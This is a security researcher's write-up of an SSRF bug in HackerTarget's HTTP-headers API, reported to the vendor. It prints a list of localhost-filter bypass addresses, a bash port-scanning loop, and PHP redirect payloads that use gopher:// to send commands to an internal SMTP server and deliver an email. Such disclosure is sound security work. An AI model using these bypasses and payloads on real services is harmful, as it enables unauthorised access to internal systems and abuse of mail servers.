This is a write-up of an SSRF I accidentally found in HackerTarget and leveraged to get access to internal services! Please note that they don’t have an active bug bounty program.
🤔 What is HackerTarget?
HackerTarget is a service that provides access to online vulnerability scanners and tools used by many security professionals and “makes securing your systems easier”. They also are the creators of DNSDumpster, which is utilized in several recon tools.
Server-Side Request Forgery (SSRF) is a vulnerability in which an attacker can send a controlled, crafted request via a vulnerable application. We can communicate with different services running on different protocols by utilizing URI schemes such as dict://, gopher://, ftp://, and many more. Getting a server to make a request isn’t a vulnerability in itself, but becomes one when you can make requests to things you wouldn’t or shouldn’t normally have access to such as internal networks or internal services.
🔎 Finding the vulnerability:
I was using DNSDumpster for recon during a bug hunting session, and I noticed there was a button of a globe similar to 🌎 that said “Get HTTP Headers”:
It made a call to
https://api.hackertarget.com/httpheaders/?q=<target> and displayed the HTTP Headers of a simple GET request sent to the target server.
I was obviously intrigued, so I tried querying 127.0.0.1! The API dumped the HTTP request and the query went through! I then tried to see if I could get the SSH version by querying 127.0.0.1:22
I initially reported it as is, knowing I could hit internal services if there were any. They thanked me for the heads up and told me to check the patch they issued. I checked it, and it was easy to bypass: it was merely blocking 127.0.0.1. Here are a few of the bypasses I used:
0 127.00.1 127.0.01 0.00.0 0.0.00 127.1.0.1 127.10.1 127.1.01 0177.1 0177.0001.0001 0x0.0x0.0x0.0x0 0000.0000.0000.0000 0x7f.0x0.0x0.0x1 0177.0000.0000.0001 0177.0001.0000..0001 0x7f.0x1.0x0.0x1 0x7f.0x1.0x1 localtest.me
I informed them that there isn’t a way to validate the query just by using string-based checks, so I suggested that they resolve the domains and check them against local IP ranges. They agreed and said they would think about it.
About 10 days later I asked if they had issued another patch or not, and the response was:
“It is on my todo list. Not critical though as there are no local services that could be hit with it.”
😏 challenge accepted.
😎 Leveraging like a Boss
I decided to write a bash script that queried the API with one of the bypasses and with a port number to see if I could see what internal services it was running:
#!/usr/bin/env bash for port in `seq 1 9999` do echo -e "\n\n[+] Checking Port: "$port"\n" curl 'https://api.hackertarget.com/httpheaders/?q=http://'$1':'$port && echo -e "\n" done
I ran it:
âžœ root@pwn ~ ./ht 0177.1
HackerTarget limits 25 API queries per IP, so my script only showed the ports 1 - 25. The only responses I got were from SSH running on port 22 and I luckily got a response from the SMTP server on port 25, which I had totally overlooked before!
- SMTP stands for Simple Mail Transfer Protocol.
- It is a TCP/IP protocol that’s used for sending emails. (who would’ve guessed? 😂)
- Usually it’s used along with either pop3 or imap, which are used to receive emails.
I knew I would be able to hit the service with this SSRF, but I wasn’t positive that I would be able to send the valid commands needed to send emails from it. I then tried deducing which wrappers were supported and enabled besides http:// and https://.
I tried using dict:// right away and was able to get the libcurl version, but that wasn’t very helpful. Next, I created a PHP file on my server to initiate a redirect to another port with the gopher:// wrapper:
<?php header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!"); ?>
In a nutshell, the gopher:// protocol sends 1 character, a new line (CR+LF), and the remaining data, which allows us to send a multiline request.
I started netcat and checked the API again:
https://api.hackertarget.com/httpheaders/?q=http://sxcurity.pro/redirect.php. It followed the redirect and I received a multiline request on port 1337!
This means I could send valid commands to the internal SMTP server!
🎉 The Finale
I created another PHP file on my server that would redirect the API to the internal SMTP server and issue the valid SMTP commands!
<?php $commands = array( 'HELO hackertarget.com', 'MAIL FROM: <email@example.com>', 'RCPT To: <firstname.lastname@example.org>', 'DATA', 'Subject: @sxcurity!', 'Corben was here, woot woot!', '.' ); $payload = implode('%0A', $commands); header('Location: gopher://0:25/_'.$payload); ?>
I changed the query one last time:
I went to my email, reloaded it once.
A new email popped up from “email@example.com” with the subject “@sxcurity” and the message was “Corben was here, woot woot!”
After yelling ‘heck yeah!’, I created a quick proof-of-concept video and I sent it over to HackerTarget.
Here’s the video 🕵️
Nice work. Thanks for the PoC. I will finish mitigation on this and check other inputs too now…. you have opened my eyes to SSRF :)
It was a blast to leverage an SSRF on a target that everyone knows of and uses often!
They DO NOT have a bug bounty program, so please DO NOT test them without their permission!
Thanks for reading,
Corben Leo (@sxcurity)